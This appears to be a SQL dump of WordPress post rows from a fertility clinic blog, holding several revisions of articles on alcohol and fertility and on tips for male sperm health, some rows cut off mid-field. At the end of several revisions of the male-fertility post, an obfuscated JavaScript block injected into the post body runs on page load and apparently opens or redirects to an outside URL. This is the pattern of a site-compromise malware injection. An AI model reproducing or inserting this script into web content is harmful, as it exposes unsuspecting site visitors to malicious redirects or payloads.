(262,1,'2018-06-13 05:42:21','2018-06-13 05:42:21','Alcohol addiction can have negative influence on both <a href=\"http://nufertility.com/infertility-evaluation-and-workup\"><strong>female and male fertility</strong></a> causing significant hurdles in their journey from infertility to fertility.\r\n\r\n<!--more-->\r\n\r\nThe consumption level of alcohol is an important determinant of the extent of hazard it can cause. It is categorized as low (drinking less than once a week), moderate (drinking up to 2 days per) and heavy (drinking more than 2 days per week). Binge drinking which is consumption of four or more drinks on one occasion should not be done since it adversely impacts your fertility.\r\n\r\n<strong>Effects of Alcohol on female fertility</strong>\r\n\r\nThose with high alcohol addiction are more likely to have infertility issues than women who is not addicted to alcohol. The time to their pregnancy is increased by depleting the number of eggs in the ovary at a very high rate (reflected by a 26% lower AMH levels).\r\n\r\nModerate alcohol consumption in women has shown to cause menstrual disturbances in the form of irregular and painful periods.\r\n\r\nStudies in mice have shown that both short term and long term exposure to alcohol delays egg transport and retards the early development of the embryo. The transport of sperms in the fallopian tubes is also shown to be decreased. This decreases spontaneous pregnancy rates and increases the chances of tubal pregnancy. Hence it is better to avoid alcohol consumption while trying to conceive.\r\n\r\nThe quality of the egg is compromised because:\r\n<ul>\r\n 	<li>Alcohol depresses the release of hormones from the adrenal gland, Which are required for egg development.</li>\r\n 	<li>The activity of granulosa cells which provide nutrition to the developing egg is altered.</li>\r\n</ul>\r\n<strong>Effects of Alcohol on male fertility</strong>\r\n\r\nAlcohol has a damaging effect on all aspects of male reproduction. It interferes with the release of the male sex hormone testosterone resulting in decreased libido, <a href=\"http://nufertility.com/ovulation-induction\"><strong>erectile dysfunction</strong></a>, and infertility. It also causes a decrease in the sperm count, motility and percentage of morphologically normal sperms in the semen. Men with heavy drinking are affected the most.\r\n\r\nA study examining the impact of lifestyle factors on male fertility concluded that none of the heavy alcohol drinkers had normal semen parameters and the most common abnormality was low sperm count.\r\n\r\n<strong>Effects of alcohol on fertility treatment</strong>\r\n\r\nAcute alcohol consumption alters the estradiol levels in the body and interferes with the medications given to induce follicle growth and ovulation. Consuming 4 or more drinks per week have been proven to reduce the live birth rates in <a href=\"http://nufertility.com/ivf-icsi\"><strong>IVF cycle</strong>.</a> It reduces the number of eggs retrieved, causes failure of fertilization and decreases the implantation potential of the embryos.\r\n\r\nThere are numerous factors which affect IVF success, some are non-modifiable such as age, chromosomal abnormalities, genetic factors and some are modifiable such as alcoholism and smoking. Not much can be done about the non-modifiable risk factors. However, it is advisable to quit drinking alcohol at least 3-4 months prior to IVF.\r\n\r\n<strong>Effects on alcohol in pregnancy</strong>\r\n\r\nAlcohol intake during pregnancy affects the developing fetus because alcohol easily crosses the placenta. It increases the risk of miscarriage And causes fetal alcohol syndrome characterized by facial dysmorphism, abnormal brain development, decreased weight and length of the fetus.\r\n\r\n<strong>To conclude, alcohol has a devastating effect in your fertility journey. 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09:56:57','',2,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/ISAR-Logo.png',0,'attachment','image/png',0),(269,1,'2018-07-17 09:45:16','2018-07-17 09:45:16','','Male Fertility & Sperm Count','','inherit','open','closed','','untitled-1','','','2023-09-26 05:10:14','2023-09-26 05:10:14','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/Untitled-1.jpg',0,'attachment','image/jpeg',0),(270,1,'2018-07-17 09:45:22','2018-07-17 09:45:22','','Effects of drinking alcohol during pregnancy | NU Fertility','','inherit','open','closed','','blog-gallery','','','2023-09-26 05:14:17','2023-09-26 05:14:17','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/Blog-Gallery.jpg',0,'attachment','image/jpeg',0),(272,1,'2018-07-17 10:58:05','2018-07-17 10:58:05','','86-x-86-NU-Fertility-LOGO','','inherit','open','closed','','86-x-86-nu-fertility-logo','','','2018-07-17 10:58:05','2018-07-17 10:58:05','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/86-x-86-NU-Fertility-LOGO.png',0,'attachment','image/png',0),(273,1,'2018-07-17 11:58:08','2018-07-17 11:58:08','','NU-FERTILITY-Final-LOGO','','inherit','open','closed','','nu-fertility-final-logo','','','2018-07-17 11:58:08','2018-07-17 11:58:08','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-LOGO.png',0,'attachment','image/png',0),(274,1,'2018-07-23 09:18:14','2018-07-23 09:18:14','','NU-FERTILITY-Final-c2c-','','inherit','open','closed','','nu-fertility-final-c2c','','','2020-08-19 07:47:05','2020-08-19 07:47:05','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png',0,'attachment','image/png',0),(276,1,'2018-10-10 14:30:46','2018-10-10 14:30:46','','About Us','','publish','closed','closed','','about-nu','','','2024-04-09 08:11:14','2024-04-09 08:11:14','',0,'http://www.nufertility.com/blog/?p=276',2,'nav_menu_item','',0),(278,1,'2018-10-30 09:11:26','2018-10-30 09:11:26','There has been increasing evidence on the global decline in human sperm quality over the past few decades. In the most recent report, an international study group performed a systematic analysis of the current trends in sperm counts. This comprehensive study involved 42,935 men with semen samples spanning over 40 years. They reported a significant decline of 50– 60% in sperm counts amongst men from North America, Europe, Australia and New Zealand. This latest finding has sparked even greater concern over the reasons behind the apparent decline in the sperm count of Western men.\r\n\r\n<!--more-->\r\n\r\nThe most important semen parameters include: Semen volume, <a href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\"><strong>Sperm count</strong></a>, Sperm motility, Sperm morphology and Sperm DNA fragmentation.\r\n\r\n<strong>Following are the few tips to boost Male Fertility: </strong>\r\n<strong>1. Quit Smoking:</strong>\r\n\r\nCigarette smoke contains &gt;7000 chemicals, including highly carcinogenic tobacco-specific compounds. Cigarette smokers have increased exposure to hazardous substances such as tar, nicotine (which is highly addictive), carbon monoxide, and heavy metals (e.g. cadmium and lead)\r\n\r\nMoreover, tobacco smoke contains Reactive oxygen species (ROS) at levels that can overcome the inherent antioxidant defenses. Increased seminal levels of ROS in smokers expose sperm to oxidative stress, consequently impairing sperm function and ultimately compromising male fertility.\r\n\r\nA large meta-analysis involving males from 26 countries concluded that smoking causes a decline in sperm quality in both fertile and infertile men. Sperm count in male smokers was reported to be typically 13–17% lower than that of non-smokers. Moreover, cigarette smoking has been negatively associated with sperm count, motility, and morphology. The decline in semen quality was found to be more marked in heavy (&gt;20 cigarettes/day) and moderate (10–20 cigarettes/day) smokers compared to mild smokers (1–10 cigarettes/day).\r\n\r\nWith paternal smoking being a significant risk factor for<a href=\"http://nufertility.com/ivf-icsi\"><strong> in-vitro fertilization (IVF)</strong></a> and intracytoplasmic sperm injection (ICSI) failure, paternal smoking could perhaps contribute to decreased assisted reproductive technology (ART) success rates as much as maternal smoking or more.\r\n\r\nEvery additional year following the male partner’s smoking cessation reduces the risk of ART failure by 4%.\r\n\r\n<strong>2. Restrict Alcohol intake: </strong>\r\n\r\nAn Indian study on the male partners of couples facing primary infertility found that abnormal sperm shape was present in 63% and 72% of males who drank alcohol moderately (40–80 g/day) and heavily (&gt;80 g/day), respectively. None of the heavy alcohol drinkers had normal sperms and most had less sperm count, which is suggestive of progressive testicular damage in relation to increasing daily alcohol intake\r\n\r\nAlcohol appears to interfere with the production of various hormones including testosterone. As a result, the production, morphological development, and maturation of sperm could be impaired.\r\n\r\nAlthough the effects of alcohol on male reproductive function are dependent on the intake amount, a threshold amount of alcohol beyond which the risk of male infertility increases has not yet been determined.\r\n\r\n<strong>3. Moderate exercise:</strong>\r\n\r\nPhysical activity programs improve health and the quality of life, but excessive or exhaustive exercise exposure can lead to negative side effects, with one of the most recently recognized being possible fertility issues in both females and males when training load is elevated and intense, though this is not universally recognized.\r\n\r\nPhysical activity (exercise) could exert beneficial or detrimental effects depending on the several inherent exercise regimen parameters: type, intensity, volume, objective, or organization. Regrettably, there is still lack of consensus on these effects.\r\n\r\nRecently a European study group performed a 16-week aerobic training program in a treadmill, three sessions per week, consisting of a warm-up (10-15 minutes), 35-50 minutes treadmill exercise (increasing five minutes per four weeks) at a work intensity of 50-65% of peak heart rate (increasing a 5% per four weeks) and cooling-down (5-10 minutes). Favorable improvements in semen parameters, sperm DNA integrity and pregnancy rate were noted in this cohort of infertile patients.\r\n\r\n<strong>4. Balanced Diet: </strong>\r\n\r\nVegetables and fruits, fish and poultry, cereals and low-fat dairy products were amongst the foods positively associated with sperm quality. However, diets consisting of processed meat, full-fat dairy products, alcohol, coffee, and sugar-sweetened beverages were associated with poor semen quality and lower fertility rates\r\n\r\nTo begin with, the practice of substituting processed red meats with fish may have a positive impact on sperm counts and morphology.\r\n\r\nSoy, legumes, soy-based foods, soya beans, oils, and seeds have been shown to adversely affect multiple semen parameters.\r\n\r\nA recent systematic review involving 19,967 men found that in most of the studies, semen parameters were affected by cola-containing beverages and caffeine-containing soft drinks, but not by caffeine intake from mainly coffee, tea and cocoa drinks.\r\n\r\n<strong>5. Avoid Genital heat stress:</strong>\r\n\r\nThe testes are located outside the body cavity and have a counter-current heat exchange system resulting in temperatures 2- 4-degree Celsius cooler than body core temperature. Genital heat stress resulting from increased scrotal temperature is a substantial risk factor for male infertility.\r\n\r\nProlonged hours of sitting or exposure to radiant heat, varicocele (enlarged veins in the scrotum) and undescended testes (testis in abnormal position) can all lead to testicular heat stress. Elevated scrotal temperatures lead to sperm growth arrest, oxidative stress, and sperm DNA damage.\r\n\r\nThe use of polyester-lined athletic undergarment supports, repeated usage of sauna or steam room has been discouraged.\r\n\r\n<strong>6. Avoid recreational drugs:</strong>\r\n\r\nCannabis or commonly referred to as marijuana is the most abused illicit drug globally. Regular marijuana smoking (more than once weekly within the last 3 months) was found to lower sperm concentration and total sperm count amongst young men, and this effect is further exacerbated when marijuana is used in combination with other recreational drugs\r\n\r\n<strong>7. Watch your weight:</strong>\r\n\r\nOverweight (Body mass index 25–30) and obese (BMI &gt;30) males are associated with a decrease in sperm quality and a greater risk of infertility. The presence of excess white fat tissue in obese individuals causes increased conversion of testosterone (male sex hormone) to estrogen (female sex hormone). These effects result in secondary hypogonadism (low testosterone) and impaired sperm production.\r\n\r\nObese men who attempt assisted reproductive techniques (ART) have reduced rates of embryo development pregnancy, and live-birth rates.\r\n\r\n<strong>8. Good sleep :</strong>\r\n\r\nEither excessive or restricted sleep is associated with a reduction of semen quality suggesting that improper sleep duration may impair semen quality. One of the recent Chinese study involving 796 individuals suggested that 7–7.5 hours/day is the recommended standard for good fertility status. Those who slept for more than 9 hours/d or less than 6.5 hours/d had lower semen parameters.\r\n\r\n<strong>Nutrition supplements : </strong>\r\n\r\nThere are specific effective antioxidant medications to improve sperm health. They include carnitine, vitamin C, glutathione, selenium, and coenzyme Q10. These medications are best taken after an initial consultation with the Andrologist or your primary treating physician.\r\n\r\n<strong>10. Avoid anabolic steroid intake:</strong>\r\n\r\n56% of users of anabolic steroids have never revealed their steroid use to a physician. Most steroid abusers are young men in their reproductive years who may be unaware of the reproductive consequences of their actions. Anabolic steroids are commonly taken after visualizing the commercial ads on media to improve sexual pleasure or by the insistence of fitness trainers.\r\n\r\nExternal hormonal steroids stop sperm production by suppressing the hormonal pathways and decreasing the internal testosterone levels.\r\n\r\nLow testosterone associated with steroid abuse is usually reversible within 3 to 6 months of discontinuation, but the recovery has been reported to take as many as 3 years and occasionally may be irreversible.\r\n\r\n<strong>11. Sperm cryopreservation:</strong>\r\n\r\nThis is an option where a person can preserve his sperms prior to chemotherapy or radiotherapy in testis cancer, or if not planning to have children at the moment but wants to have after few years.\r\n\r\n<strong>“Do not hesitate to consult a <a href=\"http://www.nufertility.com/blog/lifting-the-lid-on-infertility/#more-148\">Uro-Andrologist</a> if failure to achieve a clinical pregnancy even after 12 months of regular unprotected sexual intercourse”</strong>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>','Tips to Boost Male Fertility & Sperm Count','','inherit','closed','closed','','238-revision-v1','','','2018-10-30 09:11:26','2018-10-30 09:11:26','',238,'http://www.nufertility.com/blog/238-revision-v1/',0,'revision','',0),(279,1,'2018-10-30 09:27:38','2018-10-30 09:27:38','There has been increasing evidence on the global decline in human sperm quality over the past few decades. In the most recent report, an international study group performed a systematic analysis of the current trends in sperm counts. This comprehensive study involved 42,935 men with semen samples spanning over 40 years. They reported a significant decline of 50– 60% in sperm counts amongst men from North America, Europe, Australia and New Zealand. This latest finding has sparked even greater concern over the reasons behind the apparent decline in the sperm count of Western men.\r\n\r\n<!--more-->\r\n\r\nThe most important semen parameters include: Semen volume, <a style=\"target: _blank;\" href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\"><strong>Sperm count</strong></a>, Sperm motility, Sperm morphology and Sperm DNA fragmentation.\r\n\r\n<strong>Following are the few tips to boost Male Fertility: </strong>\r\n<strong>1. Quit Smoking:</strong>\r\n\r\nCigarette smoke contains &gt;7000 chemicals, including highly carcinogenic tobacco-specific compounds. Cigarette smokers have increased exposure to hazardous substances such as tar, nicotine (which is highly addictive), carbon monoxide, and heavy metals (e.g. cadmium and lead)\r\n\r\nMoreover, tobacco smoke contains Reactive oxygen species (ROS) at levels that can overcome the inherent antioxidant defenses. Increased seminal levels of ROS in smokers expose sperm to oxidative stress, consequently impairing sperm function and ultimately compromising male fertility.\r\n\r\nA large meta-analysis involving males from 26 countries concluded that smoking causes a decline in sperm quality in both fertile and infertile men. Sperm count in male smokers was reported to be typically 13–17% lower than that of non-smokers. Moreover, cigarette smoking has been negatively associated with sperm count, motility, and morphology. The decline in semen quality was found to be more marked in heavy (&gt;20 cigarettes/day) and moderate (10–20 cigarettes/day) smokers compared to mild smokers (1–10 cigarettes/day).\r\n\r\nWith paternal smoking being a significant risk factor for<a href=\"http://nufertility.com/ivf-icsi\"><strong> in-vitro fertilization (IVF)</strong></a> and intracytoplasmic sperm injection (ICSI) failure, paternal smoking could perhaps contribute to decreased assisted reproductive technology (ART) success rates as much as maternal smoking or more.\r\n\r\nEvery additional year following the male partner’s smoking cessation reduces the risk of ART failure by 4%.\r\n\r\n<strong>2. Restrict Alcohol intake: </strong>\r\n\r\nAn Indian study on the male partners of couples facing primary infertility found that abnormal sperm shape was present in 63% and 72% of males who drank alcohol moderately (40–80 g/day) and heavily (&gt;80 g/day), respectively. None of the heavy alcohol drinkers had normal sperms and most had less sperm count, which is suggestive of progressive testicular damage in relation to increasing daily alcohol intake\r\n\r\nAlcohol appears to interfere with the production of various hormones including testosterone. As a result, the production, morphological development, and maturation of sperm could be impaired.\r\n\r\nAlthough the effects of alcohol on male reproductive function are dependent on the intake amount, a threshold amount of alcohol beyond which the risk of male infertility increases has not yet been determined.\r\n\r\n<strong>3. Moderate exercise:</strong>\r\n\r\nPhysical activity programs improve health and the quality of life, but excessive or exhaustive exercise exposure can lead to negative side effects, with one of the most recently recognized being possible fertility issues in both females and males when training load is elevated and intense, though this is not universally recognized.\r\n\r\nPhysical activity (exercise) could exert beneficial or detrimental effects depending on the several inherent exercise regimen parameters: type, intensity, volume, objective, or organization. Regrettably, there is still lack of consensus on these effects.\r\n\r\nRecently a European study group performed a 16-week aerobic training program in a treadmill, three sessions per week, consisting of a warm-up (10-15 minutes), 35-50 minutes treadmill exercise (increasing five minutes per four weeks) at a work intensity of 50-65% of peak heart rate (increasing a 5% per four weeks) and cooling-down (5-10 minutes). Favorable improvements in semen parameters, sperm DNA integrity and pregnancy rate were noted in this cohort of infertile patients.\r\n\r\n<strong>4. Balanced Diet: </strong>\r\n\r\nVegetables and fruits, fish and poultry, cereals and low-fat dairy products were amongst the foods positively associated with sperm quality. However, diets consisting of processed meat, full-fat dairy products, alcohol, coffee, and sugar-sweetened beverages were associated with poor semen quality and lower fertility rates\r\n\r\nTo begin with, the practice of substituting processed red meats with fish may have a positive impact on sperm counts and morphology.\r\n\r\nSoy, legumes, soy-based foods, soya beans, oils, and seeds have been shown to adversely affect multiple semen parameters.\r\n\r\nA recent systematic review involving 19,967 men found that in most of the studies, semen parameters were affected by cola-containing beverages and caffeine-containing soft drinks, but not by caffeine intake from mainly coffee, tea and cocoa drinks.\r\n\r\n<strong>5. Avoid Genital heat stress:</strong>\r\n\r\nThe testes are located outside the body cavity and have a counter-current heat exchange system resulting in temperatures 2- 4-degree Celsius cooler than body core temperature. Genital heat stress resulting from increased scrotal temperature is a substantial risk factor for male infertility.\r\n\r\nProlonged hours of sitting or exposure to radiant heat, varicocele (enlarged veins in the scrotum) and undescended testes (testis in abnormal position) can all lead to testicular heat stress. Elevated scrotal temperatures lead to sperm growth arrest, oxidative stress, and sperm DNA damage.\r\n\r\nThe use of polyester-lined athletic undergarment supports, repeated usage of sauna or steam room has been discouraged.\r\n\r\n<strong>6. Avoid recreational drugs:</strong>\r\n\r\nCannabis or commonly referred to as marijuana is the most abused illicit drug globally. Regular marijuana smoking (more than once weekly within the last 3 months) was found to lower sperm concentration and total sperm count amongst young men, and this effect is further exacerbated when marijuana is used in combination with other recreational drugs\r\n\r\n<strong>7. Watch your weight:</strong>\r\n\r\nOverweight (Body mass index 25–30) and obese (BMI &gt;30) males are associated with a decrease in sperm quality and a greater risk of infertility. The presence of excess white fat tissue in obese individuals causes increased conversion of testosterone (male sex hormone) to estrogen (female sex hormone). These effects result in secondary hypogonadism (low testosterone) and impaired sperm production.\r\n\r\nObese men who attempt assisted reproductive techniques (ART) have reduced rates of embryo development pregnancy, and live-birth rates.\r\n\r\n<strong>8. Good sleep :</strong>\r\n\r\nEither excessive or restricted sleep is associated with a reduction of semen quality suggesting that improper sleep duration may impair semen quality. One of the recent Chinese study involving 796 individuals suggested that 7–7.5 hours/day is the recommended standard for good fertility status. Those who slept for more than 9 hours/d or less than 6.5 hours/d had lower semen parameters.\r\n\r\n<strong>Nutrition supplements : </strong>\r\n\r\nThere are specific effective antioxidant medications to improve sperm health. They include carnitine, vitamin C, glutathione, selenium, and coenzyme Q10. These medications are best taken after an initial consultation with the Andrologist or your primary treating physician.\r\n\r\n<strong>10. Avoid anabolic steroid intake:</strong>\r\n\r\n56% of users of anabolic steroids have never revealed their steroid use to a physician. Most steroid abusers are young men in their reproductive years who may be unaware of the reproductive consequences of their actions. Anabolic steroids are commonly taken after visualizing the commercial ads on media to improve sexual pleasure or by the insistence of fitness trainers.\r\n\r\nExternal hormonal steroids stop sperm production by suppressing the hormonal pathways and decreasing the internal testosterone levels.\r\n\r\nLow testosterone associated with steroid abuse is usually reversible within 3 to 6 months of discontinuation, but the recovery has been reported to take as many as 3 years and occasionally may be irreversible.\r\n\r\n<strong>11. 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_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>','Tips to Boost Male Fertility & Sperm Count','','inherit','closed','closed','','238-revision-v1','','','2018-10-30 09:27:38','2018-10-30 09:27:38','',238,'http://www.nufertility.com/blog/238-revision-v1/',0,'revision','',0),(280,1,'2018-10-30 11:51:51','2018-10-30 11:51:51','There has been increasing evidence on the global decline in human sperm quality over the past few decades. In the most recent report, an international study group performed a systematic analysis of the current trends in sperm counts. This comprehensive study involved 42,935 men with semen samples spanning over 40 years. They reported a significant decline of 50– 60% in sperm counts amongst men from North America, Europe, Australia and New Zealand. This latest finding has sparked even greater concern over the reasons behind the apparent decline in the sperm count of Western men.\r\n\r\n<!--more-->\r\n\r\nThe most important semen parameters include: Semen volume, <a href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank;\"><strong>Sperm count</strong></a>, Sperm motility, Sperm morphology and Sperm DNA fragmentation.\r\n\r\n<strong>Following are the few tips to boost Male Fertility: </strong>\r\n<strong>1. Quit Smoking:</strong>\r\n\r\nCigarette smoke contains &gt;7000 chemicals, including highly carcinogenic tobacco-specific compounds. Cigarette smokers have increased exposure to hazardous substances such as tar, nicotine (which is highly addictive), carbon monoxide, and heavy metals (e.g. cadmium and lead)\r\n\r\nMoreover, tobacco smoke contains Reactive oxygen species (ROS) at levels that can overcome the inherent antioxidant defenses. Increased seminal levels of ROS in smokers expose sperm to oxidative stress, consequently impairing sperm function and ultimately compromising male fertility.\r\n\r\nA large meta-analysis involving males from 26 countries concluded that smoking causes a decline in sperm quality in both fertile and infertile men. Sperm count in male smokers was reported to be typically 13–17% lower than that of non-smokers. Moreover, cigarette smoking has been negatively associated with sperm count, motility, and morphology. The decline in semen quality was found to be more marked in heavy (&gt;20 cigarettes/day) and moderate (10–20 cigarettes/day) smokers compared to mild smokers (1–10 cigarettes/day).\r\n\r\nWith paternal smoking being a significant risk factor for<a href=\"http://nufertility.com/ivf-icsi\"><strong> in-vitro fertilization (IVF)</strong></a> and intracytoplasmic sperm injection (ICSI) failure, paternal smoking could perhaps contribute to decreased assisted reproductive technology (ART) success rates as much as maternal smoking or more.\r\n\r\nEvery additional year following the male partner’s smoking cessation reduces the risk of ART failure by 4%.\r\n\r\n<strong>2. Restrict Alcohol intake: </strong>\r\n\r\nAn Indian study on the male partners of couples facing primary infertility found that abnormal sperm shape was present in 63% and 72% of males who drank alcohol moderately (40–80 g/day) and heavily (&gt;80 g/day), respectively. None of the heavy alcohol drinkers had normal sperms and most had less sperm count, which is suggestive of progressive testicular damage in relation to increasing daily alcohol intake\r\n\r\nAlcohol appears to interfere with the production of various hormones including testosterone. As a result, the production, morphological development, and maturation of sperm could be impaired.\r\n\r\nAlthough the effects of alcohol on male reproductive function are dependent on the intake amount, a threshold amount of alcohol beyond which the risk of male infertility increases has not yet been determined.\r\n\r\n<strong>3. Moderate exercise:</strong>\r\n\r\nPhysical activity programs improve health and the quality of life, but excessive or exhaustive exercise exposure can lead to negative side effects, with one of the most recently recognized being possible fertility issues in both females and males when training load is elevated and intense, though this is not universally recognized.\r\n\r\nPhysical activity (exercise) could exert beneficial or detrimental effects depending on the several inherent exercise regimen parameters: type, intensity, volume, objective, or organization. Regrettably, there is still lack of consensus on these effects.\r\n\r\nRecently a European study group performed a 16-week aerobic training program in a treadmill, three sessions per week, consisting of a warm-up (10-15 minutes), 35-50 minutes treadmill exercise (increasing five minutes per four weeks) at a work intensity of 50-65% of peak heart rate (increasing a 5% per four weeks) and cooling-down (5-10 minutes). Favorable improvements in semen parameters, sperm DNA integrity and pregnancy rate were noted in this cohort of infertile patients.\r\n\r\n<strong>4. Balanced Diet: </strong>\r\n\r\nVegetables and fruits, fish and poultry, cereals and low-fat dairy products were amongst the foods positively associated with sperm quality. However, diets consisting of processed meat, full-fat dairy products, alcohol, coffee, and sugar-sweetened beverages were associated with poor semen quality and lower fertility rates\r\n\r\nTo begin with, the practice of substituting processed red meats with fish may have a positive impact on sperm counts and morphology.\r\n\r\nSoy, legumes, soy-based foods, soya beans, oils, and seeds have been shown to adversely affect multiple semen parameters.\r\n\r\nA recent systematic review involving 19,967 men found that in most of the studies, semen parameters were affected by cola-containing beverages and caffeine-containing soft drinks, but not by caffeine intake from mainly coffee, tea and cocoa drinks.\r\n\r\n<strong>5. Avoid Genital heat stress:</strong>\r\n\r\nThe testes are located outside the body cavity and have a counter-current heat exchange system resulting in temperatures 2- 4-degree Celsius cooler than body core temperature. Genital heat stress resulting from increased scrotal temperature is a substantial risk factor for male infertility.\r\n\r\nProlonged hours of sitting or exposure to radiant heat, varicocele (enlarged veins in the scrotum) and undescended testes (testis in abnormal position) can all lead to testicular heat stress. Elevated scrotal temperatures lead to sperm growth arrest, oxidative stress, and sperm DNA damage.\r\n\r\nThe use of polyester-lined athletic undergarment supports, repeated usage of sauna or steam room has been discouraged.\r\n\r\n<strong>6. Avoid recreational drugs:</strong>\r\n\r\nCannabis or commonly referred to as marijuana is the most abused illicit drug globally. Regular marijuana smoking (more than once weekly within the last 3 months) was found to lower sperm concentration and total sperm count amongst young men, and this effect is further exacerbated when marijuana is used in combination with other recreational drugs\r\n\r\n<strong>7. Watch your weight:</strong>\r\n\r\nOverweight (Body mass index 25–30) and obese (BMI &gt;30) males are associated with a decrease in sperm quality and a greater risk of infertility. The presence of excess white fat tissue in obese individuals causes increased conversion of testosterone (male sex hormone) to estrogen (female sex hormone). These effects result in secondary hypogonadism (low testosterone) and impaired sperm production.\r\n\r\nObese men who attempt assisted reproductive techniques (ART) have reduced rates of embryo development pregnancy, and live-birth rates.\r\n\r\n<strong>8. Good sleep :</strong>\r\n\r\nEither excessive or restricted sleep is associated with a reduction of semen quality suggesting that improper sleep duration may impair semen quality. One of the recent Chinese study involving 796 individuals suggested that 7–7.5 hours/day is the recommended standard for good fertility status. Those who slept for more than 9 hours/d or less than 6.5 hours/d had lower semen parameters.\r\n\r\n<strong>Nutrition supplements : </strong>\r\n\r\nThere are specific effective antioxidant medications to improve sperm health. They include carnitine, vitamin C, glutathione, selenium, and coenzyme Q10. These medications are best taken after an initial consultation with the Andrologist or your primary treating physician.\r\n\r\n<strong>10. Avoid anabolic steroid intake:</strong>\r\n\r\n56% of users of anabolic steroids have never revealed their steroid use to a physician. Most steroid abusers are young men in their reproductive years who may be unaware of the reproductive consequences of their actions. Anabolic steroids are commonly taken after visualizing the commercial ads on media to improve sexual pleasure or by the insistence of fitness trainers.\r\n\r\nExternal hormonal steroids stop sperm production by suppressing the hormonal pathways and decreasing the internal testosterone levels.\r\n\r\nLow testosterone associated with steroid abuse is usually reversible within 3 to 6 months of discontinuation, but the recovery has been reported to take as many as 3 years and occasionally may be irreversible.\r\n\r\n<strong>11. Sperm cryopreservation:</strong>\r\n\r\nThis is an option where a person can preserve his sperms prior to chemotherapy or radiotherapy in testis cancer, or if not planning to have children at the moment but wants to have after few years.\r\n\r\n<strong>“Do not hesitate to consult a <a href=\"http://www.nufertility.com/blog/lifting-the-lid-on-infertility/#more-148\">Uro-Andrologist</a> if failure to achieve a clinical pregnancy even after 12 months of regular unprotected sexual intercourse”</strong>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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target=\"_blank\" rel=\"noopener\"><strong>female and male fertility</strong></a> causing significant hurdles in their journey from infertility to fertility.\r\n\r\n<!--more-->\r\n\r\nThe consumption level of alcohol is an important determinant of the extent of hazard it can cause. It is categorized as low (drinking less than once a week), moderate (drinking up to 2 days per) and heavy (drinking more than 2 days per week). Binge drinking which is consumption of four or more drinks on one occasion should not be done since it adversely impacts your fertility.\r\n\r\n<strong>Effects of Alcohol on female fertility</strong>\r\n\r\nThose with high alcohol addiction are more likely to have infertility issues than women who is not addicted to alcohol. The time to their pregnancy is increased by depleting the number of eggs in the ovary at a very high rate (reflected by a 26% lower AMH levels).\r\n\r\nModerate alcohol consumption in women has shown to cause menstrual disturbances in the form of irregular and painful periods.\r\n\r\nStudies in mice have shown that both short term and long term exposure to alcohol delays egg transport and retards the early development of the embryo. The transport of sperms in the fallopian tubes is also shown to be decreased. This decreases spontaneous pregnancy rates and increases the chances of tubal pregnancy. Hence it is better to avoid alcohol consumption while trying to conceive.\r\n\r\nThe quality of the egg is compromised because:\r\n<ul>\r\n 	<li>Alcohol depresses the release of hormones from the adrenal gland, Which are required for egg development.</li>\r\n 	<li>The activity of granulosa cells which provide nutrition to the developing egg is altered.</li>\r\n</ul>\r\n<strong>Effects of Alcohol on male fertility</strong>\r\n\r\nAlcohol has a damaging effect on all aspects of male reproduction. It interferes with the release of the male sex hormone testosterone resulting in decreased libido, <a href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\"><strong>erectile dysfunction</strong></a>, and infertility. It also causes a decrease in the sperm count, motility and percentage of morphologically normal sperms in the semen. Men with heavy drinking are affected the most.\r\n\r\nA study examining the impact of lifestyle factors on male fertility concluded that none of the heavy alcohol drinkers had normal semen parameters and the most common abnormality was low sperm count.\r\n\r\n<strong>Effects of alcohol on fertility treatment</strong>\r\n\r\nAcute alcohol consumption alters the estradiol levels in the body and interferes with the medications given to induce follicle growth and ovulation. Consuming 4 or more drinks per week have been proven to reduce the live birth rates in 